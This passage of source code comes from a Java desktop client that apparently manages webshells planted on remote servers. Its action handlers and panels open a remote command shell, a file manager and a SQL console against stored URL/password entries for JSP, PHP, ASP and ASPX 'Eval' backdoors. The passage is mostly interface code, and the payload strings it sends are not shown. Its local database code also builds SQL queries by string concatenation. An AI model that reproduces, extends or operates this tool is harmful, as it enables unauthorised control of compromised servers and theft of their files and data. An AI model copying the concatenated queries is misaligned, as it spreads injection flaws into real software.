AddDialog add = new AddDialog(); 168 | } else if (e.getSource() == edit) { 169 | AddDialog edit = new AddDialog(getOne(list)); 170 | } else if (e.getSource() == delete) { 171 | int button = JOptionPane.showConfirmDialog(MainFrame.main, 172 | "确认删除?", "提示", JOptionPane.YES_NO_OPTION); 173 | if (button == 0) { 174 | Statement stmt = DbDao.getInstance().getStmt(); 175 | try { 176 | String id = getOne(list).split("\t")[0]; 177 | stmt.executeUpdate("delete from data where id=" + id); 178 | ListPanel listpanel= (ListPanel)MainFrame.tab.getSelectedComponent(); 179 | listpanel.getModel().remove(id); 180 | listpanel.getStatus().setText("删除成功"); 181 | } catch (SQLException e1) { 182 | // TODO Auto-generated catch block 183 | e1.printStackTrace(); 184 | } 185 | } 186 | } else if (e.getSource() == filemanager) { 187 | MainFrame.tab.setUrl(getOne(list)); 188 | Runnable run = new Runnable() { 189 | public void run() { 190 | SwingUtilities.invokeLater(new Runnable() { 191 | public void run() { 192 | MainFrame.tab.addPanel("filemanager"); 193 | } 194 | }); 195 | 196 | } 197 | }; 198 | new Thread(run).start(); 199 | } else if (e.getSource() == database) { 200 | MainFrame.tab.setUrl(getOne(list)); 201 | MainFrame.tab.addPanel("database"); 202 | } else if (e.getSource() == shell) { 203 | MainFrame.tab.setUrl(getOne(list)); 204 | Runnable run = new Runnable() { 205 | public void run() { 206 | SwingUtilities.invokeLater(new Runnable() { 207 | public void run() { 208 | MainFrame.tab.addPanel("shell"); 209 | } 210 | }); 211 | 212 | } 213 | }; 214 | new Thread(run).start(); 215 | } else if (e.getSource() == about) { 216 | AboutDialog a = new AboutDialog(); 217 | } else if (e.getSource() == config) 218 | { 219 | new ConfigDialog(); 220 | } 221 | } 222 | 223 | } 224 | class SkinAction implements ActionListener 225 | { 226 | private String LookAndFeel; 227 | public String getLookAndFeel() { 228 | return LookAndFeel; 229 | } 230 | public void setLookAndFeel(String lookAndFeel) { 231 | LookAndFeel = lookAndFeel; 232 | } 233 | @Override 234 | public void actionPerformed(ActionEvent e) { 235 | 236 | // TODO Auto-generated method stub 237 | try { 238 | Configuration config = new Configuration(); 239 | config.setValue("SKIN", this.LookAndFeel); 240 | UIManager.setLookAndFeel(this.LookAndFeel); 241 | SwingUtilities.updateComponentTreeUI(MainFrame.main); 242 | SwingUtilities.updateComponentTreeUI(pop); 243 | } catch (Exception e1) { 244 | // TODO Auto-generated catch block 245 | } 246 | } 247 | } 248 | 249 | } 250 | -------------------------------------------------------------------------------- /src/com/ms509/ui/menu/ShellPopMenu.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui.menu; 2 | 3 | import java.awt.datatransfer.Clipboard; 4 | import java.awt.datatransfer.DataFlavor; 5 | import java.awt.datatransfer.StringSelection; 6 | import java.awt.datatransfer.Transferable; 7 | import java.awt.datatransfer.UnsupportedFlavorException; 8 | import java.awt.event.ActionEvent; 9 | import java.awt.event.ActionListener; 10 | import java.awt.event.MouseEvent; 11 | import java.awt.event.MouseListener; 12 | import java.io.IOException; 13 | 14 | import javax.swing.*; 15 | import javax.swing.text.BadLocationException; 16 | import javax.swing.text.Document; 17 | 18 | import com.ms509.ui.MainFrame; 19 | 20 | public class ShellPopMenu { 21 | 22 | private JPopupMenu shellmenu; 23 | private JMenuItem copy, paste; 24 | private JPanel p; 25 | private JTextPane c; 26 | Clipboard clipboard;// 获取系统剪贴板。 27 | Transferable contents, tText; 28 | DataFlavor flavor; 29 | private Document shell_doc; 30 | public ShellPopMenu(JPanel panel, JTextPane console) { 31 | // TODO Auto-generated constructor stub 32 | p = panel; 33 | c = console; 34 | shell_doc = console.getDocument(); 35 | shellmenu = new JPopupMenu(); 36 | copy = new JMenuItem("复制"); 37 | paste = new JMenuItem("粘贴"); 38 | shellmenu.add(copy); 39 | shellmenu.add(paste); 40 | p.add(shellmenu); 41 | MenuAction action = new MenuAction(); 42 | copy.addActionListener(action); 43 | paste.addActionListener(action); 44 | console.addMouseListener(new MouseL()); 45 | 46 | } 47 | 48 | class MenuAction implements ActionListener { 49 | 50 | @Override 51 | public void actionPerformed(ActionEvent e) { 52 | // TODO Auto-generated method stub 53 | if (e.getSource() == copy) { 54 | String k = c.getSelectedText(); 55 | 56 | clipboard = MainFrame.main.getToolkit().getSystemClipboard(); 57 | tText = new StringSelection(k); 58 | clipboard.setContents(tText, null); 59 | } else if (e.getSource() == paste) { 60 | 61 | 62 | // System.out.println("1"); 63 | clipboard = MainFrame.main.getToolkit().getSystemClipboard(); 64 | Transferable clipT = clipboard.getContents(null); 65 | if (clipT != null) { 66 | // 检查内容是否是文本类型 67 | if (clipT.isDataFlavorSupported(DataFlavor.stringFlavor)) 68 | { 69 | try { 70 | String pastestr = (String)clipT.getTransferData(DataFlavor.stringFlavor); 71 | try { 72 | shell_doc.insertString(shell_doc.getLength(), pastestr, null); 73 | } catch (BadLocationException e1) { 74 | // TODO Auto-generated catch block 75 | e1.printStackTrace(); 76 | } 77 | } catch (UnsupportedFlavorException | IOException e1) { 78 | // TODO Auto-generated catch block 79 | e1.printStackTrace(); 80 | } 81 | } 82 | } 83 | } 84 | 85 | } 86 | } 87 | 88 | class MouseL implements MouseListener { 89 | 90 | @Override 91 | public void mouseClicked(MouseEvent e) { 92 | // TODO Auto-generated method stub 93 | if (e.isMetaDown()) // 判断右键 94 | { 95 | shellmenu.show(c, e.getX(), e.getY()); 96 | } 97 | } 98 | 99 | @Override 100 | public void mousePressed(MouseEvent e) { 101 | // TODO Auto-generated method stub 102 | 103 | } 104 | 105 | @Override 106 | public void mouseReleased(MouseEvent e) { 107 | // TODO Auto-generated method stub 108 | 109 | } 110 | 111 | @Override 112 | public void mouseEntered(MouseEvent e) { 113 | // TODO Auto-generated method stub 114 | 115 | } 116 | 117 | @Override 118 | public void mouseExited(MouseEvent e) { 119 | // TODO Auto-generated method stub 120 | 121 | } 122 | 123 | } 124 | 125 | } 126 | -------------------------------------------------------------------------------- /src/com/ms509/ui/panel/DatabasePanel.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui.panel; 2 | //数据库界面 3 | import com.ms509.model.DatabaseTableModel; 4 | import com.ms509.model.DatabaseTreeCellRenderer; 5 | import com.ms509.ui.MainFrame; 6 | import com.ms509.ui.MessageDialog; 7 | import com.ms509.ui.SetDBDialog; 8 | import com.ms509.ui.menu.DBPopMenu; 9 | import com.ms509.util.Common; 10 | import com.ms509.util.DataBase; 11 | import com.ms509.util.GBC; 12 | import com.ms509.util.NodeData; 13 | import com.ms509.util.NodeData.DataType; 14 | import com.ms509.util.Safe; 15 | 16 | import java.awt.Component; 17 | import java.awt.Dimension; 18 | import java.awt.GridBagLayout; 19 | import java.awt.event.ActionEvent; 20 | import java.awt.event.ActionListener; 21 | import java.awt.event.KeyEvent; 22 | import java.awt.event.KeyListener; 23 | import java.awt.event.MouseAdapter; 24 | import java.awt.event.MouseEvent; 25 | import java.util.Vector; 26 | 27 | import javax.swing.*; 28 | import javax.swing.table.DefaultTableCellRenderer; 29 | import javax.swing.table.JTableHeader; 30 | import javax.swing.table.TableCellRenderer; 31 | import javax.swing.table.TableColumn; 32 | import javax.swing.table.TableColumnModel; 33 | import javax.swing.tree.DefaultMutableTreeNode; 34 | import javax.swing.tree.DefaultTreeModel; 35 | import javax.swing.tree.TreePath; 36 | 37 | public class DatabasePanel extends JPanel { 38 | 39 | private JTextPane show_test; 40 | private JPanel left; 41 | private JPanel right; 42 | private JButton exec; 43 | private JButton dbset; 44 | private ActionListener action; 45 | private JTree dblist; 46 | private DefaultMutableTreeNode root; 47 | private JTable datalist; 48 | private JTextPane commandlist; 49 | private JScrollPane dblistpane; 50 | private JScrollPane datalistpane; 51 | private JScrollPane commandpane; 52 | private JComboBox choosedb; 53 | private JComboBox commonsql; 54 | private JLabel status; 55 | private JLabel selectdb; 56 | private JLabel sql_list; 57 | 58 | private String tmp_sql_str = null; 59 | private int t_locker = 0; 60 | // 传递参数 61 | private String[] tmp; 62 | private String url; 63 | private String code; 64 | private String config; 65 | private String pass; 66 | private int type; 67 | private String id; 68 | private String dbn; 69 | 70 | public DatabasePanel() { 71 | // TODO Auto-generated constructor stub 72 | 73 | this.initparams(); 74 | this.setComponent(); 75 | 76 | String param = Common.makeParams("1"); 77 | Common.send(Safe.ASP_MAKE, param, Safe.CODE); 78 | 79 | } 80 | 81 | //界面布局 82 | private void setComponent() { 83 | 84 | // Label 显示 85 | status = new JLabel("状态栏"); 86 | selectdb = new JLabel("数据库"); 87 | sql_list = new JLabel("常用SQL语句"); 88 | 89 | // 数据库jtree 90 | dblist = new JTree(); 91 | dblistpane = new JScrollPane(dblist); 92 | dblistpane.setPreferredSize(new Dimension(25, 0)); 93 | DefaultTreeModel model = (DefaultTreeModel) dblist.getModel(); 94 | model.setRoot(new DefaultMutableTreeNode(""));// 先初始化根节点,不初始化会显示更多的组件自带内容 95 | dblist.setShowsRootHandles(true); 96 | dblist.setRootVisible(false); 97 | dblist.setCellRenderer(new DatabaseTreeCellRenderer()); 98 | choosedb = new JComboBox<>(); 99 | RePainDBList(); 100 | // 数据库查询结果窗口 101 | datalist = new JTable(); 102 | datalistpane = new JScrollPane(datalist); 103 | datalist.setAutoCreateRowSorter(true); 104 | datalist.setAutoResizeMode(JTable.AUTO_RESIZE_OFF); 105 | datalistpane.setPreferredSize(new Dimension(0, 0)); 106 | // jtree右键菜单 107 | DBPopMenu m = new DBPopMenu(this, dblist, datalist, status); 108 | 109 | // 命令执行窗口 110 | commandlist = new JTextPane(); 111 | commandpane = new JScrollPane(commandlist); 112 | commandlist.setText(""); 113 | EnterListener enteraction = new EnterListener(); 114 | commandlist.addKeyListener(enteraction); 115 | 116 | // 加载常用sql语句 117 | String[] sql_example = DataBase.Load_SQL(); 118 | commonsql = new JComboBox<>(sql_example); 119 | SelectItem aListener = new SelectItem(); 120 | commonsql.addActionListener(aListener); 121 | 122 | // 数据库配置按钮 123 | dbset = new JButton("数据库配置"); 124 | OpenDBDialog action = new OpenDBDialog(); 125 | dbset.addActionListener(action); 126 | 127 | // sql命令执行 128 | exec = new JButton("执行SQL(Ctrl+回车)"); 129 | Exec execation = new Exec(); 130 | exec.addActionListener(execation); 131 | 132 | // 初始化布局 133 | this.setLayout(new GridBagLayout()); 134 | GBC gbcleft = new GBC(0, 0, 2, 4).setFill(GBC.VERTICAL).setWeight(0, 1).setIpad(200, 0); 135 | 136 | // x.= 1 137 | GBC gbcright1 = new GBC(2, 0, 5, 1).setFill(GBC.BOTH).setWeight(1, 0.7).setInsets(0, 5, 0, 0); 138 | 139 | // x.= 2 140 | GBC gbcright2_1 = new GBC(2, 1, 1, 1).setFill(GBC.NONE).setInsets(0, 5, 0, 0); 141 | GBC gbcright2_2 = new GBC(3, 1, 1, 1).setFill(GBC.HORIZONTAL).setWeight(1, 0); 142 | GBC gbcright2_3 = new GBC(4, 1, 1, 1).setFill(GBC.NONE); 143 | GBC gbcright2_4 = new GBC(5, 1, 1, 1).setFill(GBC.HORIZONTAL).setWeight(1, 0); 144 | GBC gbcright2_5 = new GBC(6, 1, 1, 1).setFill(GBC.NONE); 145 | 146 | // x.= 3 147 | GBC gbcright3 = new GBC(2, 2, 8, 1).setFill(GBC.BOTH).setWeight(1, 0.3).setInsets(0, 5, 0, 0); 148 | 149 | // x. = 4 150 | GBC gbcright4_1 = new GBC(2, 3, 5, 1).setFill(GBC.HORIZONTAL).setWeight(1, 0).setInsets(0, 5, 0, 0); 151 | 152 | GBC gbcstatus = new GBC(0, 4, 9, 1).setFill(GBC.HORIZONTAL).setWeight(1, 0); 153 | 154 | // jtree 155 | this.add(dblistpane, gbcleft); 156 | // sql data output 157 | this.add(datalistpane, gbcright1); 158 | 159 | // select db 160 | this.add(selectdb, gbcright2_1); 161 | this.add(choosedb, gbcright2_2); 162 | // sql list 163 | this.add(sql_list, gbcright2_3); 164 | this.add(commonsql, gbcright2_4); 165 | 166 | // command pane 167 | this.add(commandpane, gbcright3); 168 | 169 | // button 170 | this.add(dbset, gbcright2_5); 171 | 172 | // exec 173 | this.add(exec, gbcright4_1); 174 | this.add(status, gbcstatus); 175 | 176 | // 初始化读取数据库 177 | 178 | } 179 | 180 | // 传递参数 181 | private void initparams() { 182 | String[] tmp = MainFrame.tab.getUrl().split("\t"); 183 | id = tmp[0]; 184 | url = tmp[1]; 185 | pass = tmp[2]; 186 | config = tmp[3]; 187 | // System.out.println("newdb=" + config); 188 | code = tmp[5]; 189 | Safe.PASS = pass; // 初始化PASS常量 190 | // System.out.println(type); 191 | // 初始化脚本类型 192 | switch (tmp[4]) { 193 | case "JSP(Eval)": 194 | // System.out.println("jsp"); 195 | type = 0; 196 | // this.jsp(); 197 | break; 198 | case "PHP(Eval)": 199 | // System.out.println("php"); 200 | type = 1; 201 | // this.php(); 202 | break; 203 | case "ASP(Eval)": 204 | // System.out.println("asp"); 205 | type = 2; 206 | // this.asp(); 207 | break; 208 | case "ASPX(Eval)": 209 | // System.out.println("aspx"); 210 | type = 3; 211 | break; 212 | } 213 | 214 | } 215 | 216 | //打开数据库配置窗口 217 | class OpenDBDialog implements ActionListener { 218 | 219 | @Override 220 | public void actionPerformed(ActionEvent e) { 221 | // TODO Auto-generated method stub 222 | SetDBDialog dialog = new SetDBDialog(MainFrame.tab.getUrl().split("\t")); 223 | String k = dialog.getStr(); 224 | config = k; 225 | RePainDBList(); 226 | } 227 | 228 | } 229 | 230 | // sql text框 命令执行 231 | class Exec implements ActionListener { 232 | @Override 233 | public void actionPerformed(ActionEvent e) { 234 | // TODO Auto-generated method stub 235 | tmp_sql_str = commandlist.getText(); 236 | dbn = GetSelectDB(); 237 | Thread_exec(); 238 | 239 | } 240 | 241 | } 242 | 243 | // 数据库jtree点击事件 244 | class DoAction extends MouseAdapter { 245 | 246 | @Override 247 | public void mouseClicked(MouseEvent e) { 248 | // TODO Auto-generated method stub 249 | DefaultMutableTreeNode ddd = new DefaultMutableTreeNode(); 250 | ddd = (DefaultMutableTreeNode) dblist.getLastSelectedPathComponent(); 251 | int pathcount = 0; 252 | TreePath tp = dblist.getSelectionPath(); 253 | try { 254 | pathcount = tp.getPathCount(); 255 | 256 | for (int m = 0; m < choosedb.getItemCount(); m++) // 选中jtree,设置下拉框中对应项 257 | { 258 | if (choosedb.getItemAt(m).toString().equals(ddd.toString())) { 259 | choosedb.setSelectedIndex(m); 260 | } 261 | else if(choosedb.getItemAt(m).toString().equals(dblist.getSelectionPath().getPathComponent(1).toString())) 262 | { 263 | choosedb.setSelectedIndex(m); 264 | } 265 | } 266 | } catch (Exception k) { 267 | // System.out.println("点击事件,未获取到count"); 268 | pathcount = 0; 269 | } 270 | if (ddd != null) { 271 | if (pathcount > 2) { 272 | 273 | if (e.getClickCount() == 2 && ddd.getChildCount() == 0) // 判断双击 274 | { 275 | status.setText("正在查询...请稍等"); 276 | dbn = GetSelectDB(); 277 | tmp_sql_str = "select * from " 278 | + dblist.getLastSelectedPathComponent().toString().replace("\t", ""); 279 | Thread_exec(); 280 | // tmp_sql_str = ""; 281 | } 282 | } else { 283 | // 首次加载读表名 284 | if (e.getClickCount() == 2 && ddd.getChildCount() == 0) // 判断双击 285 | { 286 | Thread showtb = new Thread(new Runnable() { 287 | public void run() { 288 | try { 289 | DBPopMenu.showtable(); 290 | dblist.expandRow(dblist.getLeadSelectionRow()); 291 | t_locker = 0; 292 | status.setText("执行完毕"); 293 | } catch (Exception e) { 294 | t_locker = 0; 295 | } 296 | 297 | } 298 | }); 299 | if (t_locker == 0) { 300 | t_locker = 1; 301 | if (config.equals("")) { 302 | status.setText("请先配置数据库"); 303 | t_locker = 0; 304 | } else { 305 | showtb.start(); 306 | } 307 | } else { 308 | status.setText("上一操作尚未执行完毕"); 309 | } 310 | 311 | } 312 | } 313 | } 314 | } 315 | } 316 | 317 | 318 | class SelectItem implements ActionListener { 319 | @Override 320 | public void actionPerformed(ActionEvent e) { 321 | // TODO Auto-generated method stub 322 | String tmp = commonsql.getSelectedItem().toString(); 323 | commandlist.setText(tmp); 324 | } 325 | 326 | } 327 | 328 | //jbutton 数据库执行按钮事件 329 | class EnterListener implements KeyListener { 330 | @Override 331 | public void keyTyped(KeyEvent e) { 332 | // TODO Auto-generated method stub 333 | } 334 | 335 | @Override 336 | public void keyPressed(KeyEvent e) { 337 | // TODO Auto-generated method stub 338 | if (e.getKeyCode() == KeyEvent.VK_ENTER && e.isControlDown()) { 339 | tmp_sql_str = commandlist.getText(); 340 | dbn = GetSelectDB(); 341 | Thread_exec(); 342 | commandlist.setText(""); 343 | } else { 344 | tmp_sql_str = tmp_sql_str + e.getKeyChar(); 345 | } 346 | } 347 | 348 | @Override 349 | public void keyReleased(KeyEvent e) { 350 | // TODO Auto-generated method stub 351 | 352 | } 353 | 354 | } 355 | 356 | //sql语句执行 线程 357 | private void Thread_exec() { 358 | Thread thread_exec = new Thread(new Runnable() { 359 | private String re = ""; 360 | 361 | public void run() { 362 | status.setText("正在读取...请稍等"); 363 | try { 364 | re = DataBase.exec_sql(url, pass, config, type, code, tmp_sql_str, dbn); 365 | SwingUtilities.invokeLater(new Runnable() { 366 | public void run() { 367 | try { 368 | UpdateData(re); 369 | } catch (Exception e) { 370 | } 371 | status.setText("完成"); 372 | t_locker = 0; 373 | } 374 | }); 375 | } catch (Exception e) { 376 | new MessageDialog(re, 5); 377 | status.setText("error"); 378 | t_locker = 0; 379 | } 380 | 381 | } 382 | }); 383 | if (t_locker == 0) { 384 | t_locker = 1; 385 | if (config.equals("")) { 386 | status.setText("请先配置数据库"); 387 | t_locker = 0; 388 | } else { 389 | thread_exec.start(); 390 | } 391 | } else { 392 | status.setText("上一操作尚未执行完毕"); 393 | } 394 | 395 | } 396 | 397 | // 初始化读取数据库库名 398 | private void RePainDBList() 399 | { 400 | Thread thread_Repaindblist = new Thread(new Runnable() { 401 | public void run() {// normal 402 | try { 403 | status.setText("正在连接...请稍等"); 404 | String[] dbl = DataBase.getDBs(url, pass, config, type, code); 405 | for (int i = 0; i < dbl.length; i++) { 406 | choosedb.addItem(dbl[i]); 407 | } 408 | // 添加tree显示 409 | NodeData n = new NodeData(DataType.DATABASE, "/"); 410 | root = new DefaultMutableTreeNode(n); 411 | for (int d = 0; d < dbl.length; d++) // dbl[i]="database" 略去 412 | { 413 | NodeData nd = new NodeData(DataType.DATABASE, dbl[d]); 414 | DefaultMutableTreeNode dmtn = new DefaultMutableTreeNode(nd); 415 | root.add(dmtn); 416 | } 417 | DefaultTreeModel model = new DefaultTreeModel(root); 418 | dblist.setModel(model); 419 | // 添加tree点击事件 420 | DoAction caction = new DoAction(); 421 | dblist.addMouseListener(caction); 422 | 423 | // 给menu加载参数 424 | DBPopMenu.init_menu(url, pass, config, type, code); 425 | status.setText("完成"); 426 | } catch (Exception e1) { 427 | //System.out.println("异常,清空jtree"); 428 | status.setText("连接数据库失败"); 429 | root = new DefaultMutableTreeNode("/"); 430 | root.removeAllChildren(); 431 | //DefaultTreeModel model = new DefaultTreeModel(root); 432 | //dblist.setModel(model); 433 | // dblist.updateUI(); 434 | t_locker = 0; 435 | } 436 | t_locker = 0; 437 | } 438 | }); 439 | if (t_locker == 0) { 440 | t_locker = 1; 441 | if (config.equals("")) { 442 | status.setText("请先配置数据库"); 443 | t_locker = 0; 444 | } else { 445 | thread_Repaindblist.start(); 446 | } 447 | 448 | } else { 449 | status.setText("上一次操作尚未执行完毕"); 450 | } 451 | 452 | } 453 | 454 | //获取选择数据库库名,用于传递dbn参数执行sql语句 455 | private String GetSelectDB() { 456 | String dataname = ""; 457 | String dataname2 = ""; 458 | dataname2 = choosedb.getSelectedItem().toString(); 459 | dataname2 = dataname2.replace("\t", ""); 460 | return dataname2; 461 | } 462 | 463 | // 根据result结果更新table的显示内容 464 | private void UpdateData(String result) { 465 | DatabaseTableModel dtm = new DatabaseTableModel(); 466 | Vector al = new Vector(); 467 | String[] rows = result.split("\t\\|\t\r\n"); 468 | datalist.removeAll(); 469 | Vector vtitle = new Vector(); 470 | vtitle.add(""); 471 | String[] dtitle = rows[0].split("\t\\|\t"); 472 | int columns = dtitle.length; 473 | for (int k = 0; k < dtitle.length; k++) { 474 | vtitle.add(dtitle[k].replace("\t\\|\t", "")); 475 | } 476 | if (rows.length > 1) { 477 | for (int i = 1; i < rows.length; i++) { 478 | String[] cols = rows[i].split("\t\\|"); 479 | Vector vector = new Vector(); 480 | for (int m = 0; m < cols.length; m++) { 481 | if (m == 0) { 482 | vector.add(new ImageIcon(getClass().getResource("/com/ms509/images/data.png"))); 483 | } 484 | vector.add(cols[m].replace("\t", "")); 485 | 486 | } 487 | al.add(vector); 488 | dtm.setDataVector(al, vtitle); 489 | } 490 | } else // 没有读取到数据时执行。 491 | { 492 | dtm.setDataVector(null, vtitle); 493 | } 494 | datalist.setModel(dtm); 495 | 496 | int rowcount = datalist.getRowCount(); 497 | int colcount = datalist.getColumnCount(); 498 | DefaultTableCellRenderer rend = new DefaultTableCellRenderer(); 499 | if (rowcount == 0) { 500 | JTableHeader header = datalist.getTableHeader(); 501 | TableColumnModel hmodel = header.getColumnModel(); 502 | for (int k = 0; k < hmodel.getColumnCount(); k++) { 503 | TableColumn hcolumn = hmodel.getColumn(k); 504 | Object hvalue = hcolumn.getHeaderValue(); 505 | TableCellRenderer hrend = header.getDefaultRenderer(); 506 | Component hcomp = hrend.getTableCellRendererComponent(datalist, hvalue, false, false, 0, 0); 507 | int hwidth = (int) hcomp.getPreferredSize().getWidth(); 508 | hcolumn.setPreferredWidth(hwidth); 509 | } 510 | } 511 | for (int i = 0; i < colcount; i++) { 512 | int maxwidth = 0; 513 | for (int j = 0; j < rowcount; j++) { 514 | Object value = datalist.getValueAt(j, i); 515 | Component comp = rend.getTableCellRendererComponent(datalist, value, false, false, 0, 0); 516 | int width = (int) comp.getPreferredSize().getWidth(); 517 | TableColumnModel cmodel = datalist.getColumnModel(); 518 | TableColumn column = cmodel.getColumn(i); 519 | maxwidth = Math.max(maxwidth, width); 520 | if (j == rowcount - 1) { 521 | Object hvalue = column.getHeaderValue(); 522 | TableCellRenderer hrend = datalist.getTableHeader().getDefaultRenderer(); 523 | Component hcomp = hrend.getTableCellRendererComponent(datalist, hvalue, false, false, 0, 0); 524 | int hwidth = (int) hcomp.getPreferredSize().getWidth(); 525 | maxwidth = Math.max(maxwidth, hwidth); 526 | } 527 | column.setPreferredWidth(maxwidth + 1); 528 | } 529 | } 530 | TableColumn fcolumn = datalist.getColumnModel().getColumn(0); 531 | fcolumn.setMaxWidth(0); 532 | } 533 | } 534 | -------------------------------------------------------------------------------- /src/com/ms509/ui/panel/FileManagerPanel.java: -------------------------------------------------------------------------------- 1 | package com.ms509.ui.panel; 2 | 3 | import com.ms509.model.ExtendedDefaultTreeCellRenderer; 4 | import com.ms509.model.ResultSetTableModel; 5 | import com.ms509.model.RightTableModel; 6 | import com.ms509.util.FileManager; 7 | import com.ms509.ui.MainFrame; 8 | import com.ms509.ui.MessageDialog; 9 | import com.ms509.ui.menu.FileManagerPopMenu; 10 | import com.ms509.ui.menu.FileManagerPopMenu.MouseAction; 11 | import com.ms509.ui.menu.FileManagerPopMenu.SelectedMouseAction; 12 | import com.ms509.util.Common; 13 | import com.ms509.util.DbDao; 14 | import com.ms509.util.GBC; 15 | import com.ms509.util.Safe; 16 | import com.ms509.util.TreeMethod; 17 | import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils.Text; 18 | 19 | import java.awt.Dimension; 20 | import java.awt.GridBagLayout; 21 | import java.awt.event.MouseAdapter; 22 | import java.awt.event.MouseEvent; 23 | import java.beans.PropertyChangeListener; 24 | import java.sql.ResultSet; 25 | import java.sql.SQLException; 26 | import java.util.Arrays; 27 | import java.util.Vector; 28 | 29 | import javax.management.RuntimeErrorException; 30 | import javax.swing.JButton; 31 | import javax.swing.JLabel; 32 | import javax.swing.JPanel; 33 | import javax.swing.JScrollPane; 34 | import javax.swing.JTable; 35 | import javax.swing.JTextField; 36 | import javax.swing.JToolBar; 37 | import javax.swing.JTree; 38 | import javax.swing.ScrollPaneConstants; 39 | import javax.swing.SwingUtilities; 40 | import javax.swing.event.TreeSelectionEvent; 41 | import javax.swing.event.TreeSelectionListener; 42 | import javax.swing.table.DefaultTableCellRenderer; 43 | import javax.swing.table.JTableHeader; 44 | import javax.swing.table.TableColumn; 45 | import javax.swing.table.TableColumnModel; 46 | import javax.swing.tree.DefaultMutableTreeNode; 47 | import javax.swing.tree.DefaultTreeModel; 48 | import javax.swing.tree.DefaultTreeSelectionModel; 49 | import javax.swing.tree.RowMapper; 50 | import javax.swing.tree.TreeNode; 51 | import javax.swing.tree.TreePath; 52 | import javax.swing.tree.TreeSelectionModel; 53 | 54 | import sun.misc.BASE64Encoder; 55 | 56 | public class FileManagerPanel extends JPanel { 57 | private FileManager fm = null; 58 | private String id; 59 | private String url; 60 | private String pass; 61 | private String config; 62 | private String type; 63 | private String code; 64 | private JTree tree; 65 | private DefaultMutableTreeNode root = null; 66 | private DefaultTreeModel model = null; 67 | private RightTableModel listmodel = null; 68 | private JTextField path; 69 | private JTable list = null; 70 | private JLabel status; 71 | private JToolBar bar; 72 | private JButton read; 73 | private JScrollPane listpane; 74 | private JScrollPane treepane; 75 | private String webroot; 76 | private String readdict = ""; 77 | private String[] tmp1 = null; 78 | private String[] index_datas; 79 | private String[] trees; 80 | private String arrtmp; 81 | private boolean lstatus = true; 82 | private boolean rstatus = true; 83 | private boolean init = true; 84 | 85 | public JTree getTree() 86 | { 87 | return tree; 88 | } 89 | 90 | public boolean isLstatus() { 91 | return lstatus; 92 | } 93 | 94 | public void setLstatus(boolean lstatus) { 95 | this.lstatus = lstatus; 96 | } 97 | 98 | public boolean isRstatus() { 99 | return rstatus; 100 | } 101 | 102 | public void setRstatus(boolean rstatus) { 103 | this.rstatus = rstatus; 104 | } 105 | 106 | public DefaultMutableTreeNode getRoot() { 107 | return root; 108 | } 109 | 110 | public void setRoot(DefaultMutableTreeNode root) { 111 | this.root = root; 112 | } 113 | 114 | public JLabel getStatus() { 115 | return status; 116 | } 117 | 118 | public void setStatus(JLabel status) { 119 | this.status = status; 120 | } 121 | 122 | public FileManager getFm() { 123 | return fm; 124 | } 125 | 126 | public void setFm(FileManager fm) { 127 | this.fm = fm; 128 | } 129 | 130 | public JScrollPane getListpane() { 131 | return listpane; 132 | } 133 | 134 | public void setListpane(JScrollPane listpane) { 135 | this.listpane = listpane; 136 | } 137 | 138 | public JTable getList() { 139 | return list; 140 | } 141 | 142 | public void setList(JTable list) { 143 | this.list = list; 144 | } 145 | 146 | public JTextField getPath() { 147 | return path; 148 | } 149 | 150 | public void setPath(JTextField path) { 151 | this.path = path; 152 | } 153 | 154 | public FileManagerPanel() { 155 | // TODO Auto-generated constructor stub 156 | 157 | this.setLayout(new GridBagLayout()); 158 | GBC gbcpath = new GBC(0, 0 ,2 ,1).setWeight(1, 0).setFill(GBC.HORIZONTAL); 159 | GBC gbcread = new GBC(2, 0); 160 | GBC gbctree = new GBC(0, 1).setWeight(0, 1).setFill(GBC.VERTICAL).setIpad(200, 0); 161 | GBC gbclist = new GBC(1, 1, 2, 1).setWeight(1, 1).setFill(GBC.BOTH).setInsets(0, 5, 0, 0); 162 | GBC gbcbar = new GBC(0, 2, 3, 1).setFill(GBC.HORIZONTAL).setWeight(100,0); 163 | 164 | path = new JTextField(); 165 | list = new JTable(); 166 | tree = new JTree(); 167 | list.setAutoCreateRowSorter(true); 168 | model = (DefaultTreeModel) tree.getModel(); 169 | model.setRoot(new DefaultMutableTreeNode(""));// 先初始化根节点,不初始化会显示更多的组件自带内容 170 | tree.setVisible(false);// 先隐藏,再最后更新的时候再显示出来,就不会看到初始化的节点,就是完全空白的,美观。 171 | tree.setShowsRootHandles(true); 172 | read = new JButton("读取"); 173 | bar = new JToolBar(); 174 | status = new JLabel("完成"); 175 | String[] tmp = MainFrame.tab.getUrl().split("\t"); 176 | id = tmp[0]; 177 | url = tmp[1]; 178 | pass = tmp[2]; 179 | config = tmp[3]; 180 | type = tmp[4]; 181 | code = tmp[5]; 182 | ListPanel listpanel = (ListPanel) MainFrame.tab.getSelectedComponent(); 183 | ResultSetTableModel model = listpanel.getModel(); 184 | String time = Common.getTime(); 185 | String ip = Common.getIp(url); 186 | try { 187 | DbDao.getInstance() 188 | .getStmt() 189 | .executeUpdate( 190 | "update data set ip='" + ip + "',time='" + time 191 | + "' where id=" + id); 192 | Vector vector = new Vector<>(); 193 | vector.add(id); 194 | vector.add(url); 195 | vector.add(pass); 196 | vector.add(config); 197 | vector.add(type); 198 | vector.add(code); 199 | vector.add(ip); 200 | vector.add(time); 201 | model.update(id, vector); 202 | } catch (SQLException e) { 203 | } 204 | fm = new FileManager(url, pass, type, code); 205 | this.path.setText("正在连接...请稍等"); 206 | this.status.setText("正在载入路径...请稍等"); 207 | Runnable run = new Runnable() { 208 | public void run() { 209 | arrtmp = fm.doAction("readindex"); 210 | // System.out.println(arrtmp); 211 | 212 | if (arrtmp.indexOf("HTTP/1.") > -1 || arrtmp.indexOf("/") < 0 213 | && arrtmp.indexOf("\\") < 0) { 214 | SwingUtilities.invokeLater(new Runnable() { 215 | public void run() { 216 | path.setText("连接失败"); 217 | status.setText("载入路径失败"); 218 | new MessageDialog(arrtmp,5); 219 | } 220 | }); 221 | } else { 222 | try { 223 | SwingUtilities.invokeLater(new Runnable() { 224 | @Override 225 | public void run() { 226 | filemanagerindex(); 227 | filemanagersystem(); 228 | } 229 | }); 230 | 231 | } catch (Exception e) { 232 | } 233 | } 234 | } 235 | }; 236 | new Thread(run).start(); 237 | bar.add(status); 238 | bar.setFloatable(false); 239 | treepane = new JScrollPane(tree); 240 | treepane.setPreferredSize(new Dimension(25, 0)); 241 | listpane = new JScrollPane(list); 242 | 